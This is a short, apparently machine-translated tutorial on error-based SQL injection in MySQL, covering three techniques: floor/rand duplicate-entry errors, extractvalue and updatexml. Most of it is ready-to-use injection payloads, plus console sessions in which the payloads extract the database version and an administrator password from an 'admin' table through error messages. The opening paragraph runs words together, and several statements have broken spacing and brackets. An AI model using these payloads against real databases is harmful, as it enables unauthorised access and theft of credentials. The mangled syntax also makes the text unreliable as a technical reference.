Mysql3 error modes injection _ MySQL

1. When an error is reported through floor, use the following code: andselect1from (selectcount (*), concat (version (), floor (rand (0) * 2) xfrominformation_schematablesgroupbyx) ); and (selectcount (*) 1. When an error is reported through floor, you can use the following code: and select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x from information_schema.tables group by x) a); and (select count (*) from (select 1 union select null union select! 1) x group...

1. floor error
You can use the following code:
And select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x from information_schema.tables group by x) );
And (select count (*) from (select 1 union select null union select! 1) x group by concat (select table_name from information_schema.tables limit 1), floor (rand (0) * 2 )));
Example:
First, perform a normal query:
Mysql> select * from article where id = 1;
+ ---- + ------- + --------- +
| Id | title | content |
+ ---- + ------- + --------- +
| 1 | test | do it |
+ ---- + ------- + --------- +
If the input id has been injected, you can use the following statement to report an error.
Mysql> select * from article where id = 1 and (select 1 from (select count (*), concat (version (), floor (rand (0) * 2 )) x from information_schema.tables group by x) );
ERROR 1062 (23000): Duplicate entry '5. 1.33-community-log1 'for key'group _ key'
We can see that the Mysql version is successfully published. if you need to query other data, you can query it by modifying the statement where version () is located.
For example, we need to query the administrator username and password:
Method1:
Mysql> select * from article where id = 1 and (select 1 from (select count (*), concat (select pass from admin where id = 1 ), floor (rand (0) * 2) x from information_schema.tables group by x) );
ERROR 1062 (23000): Duplicate entry 'admin8881 'for key'group _ key'
Method2:
Mysql> select * from article where id = 1 and (select count (*) from (select 1 union select null union select! 1) x group by concat (select pass from admin limit 1), floor (rand (0) * 2 )));
ERROR 1062 (23000): Duplicate entry 'admin8881 'for key'group _ key'
Please see (http://www.yuefengqing.com /)
2. ExtractValue
The test statement is as follows:
And extractvalue (1, concat (0x5c, (select table_name from information_schema.tables limit 1 )));
Actual testing process
Mysql> select * from article where id = 1 and extractvalue (1, concat (0x5c, (select pass from admin limit 1 )));--
ERROR 1105 (HY000): XPATH syntax error: '\ admin888'

3. UpdateXml
Test statement
And 1 = (updatexml (1, concat (0x5e24, (select user (), 0x5e24), 1 ))
Actual testing process

Mysql> select * from article where id = 1 and 1 = (updatexml (1, concat (0x5e24, (select pass from admin limit 1), 0x5e24), 1 ));

ERROR 1105 (HY000): XPATH syntax error: '^ $ admin888 ^ $'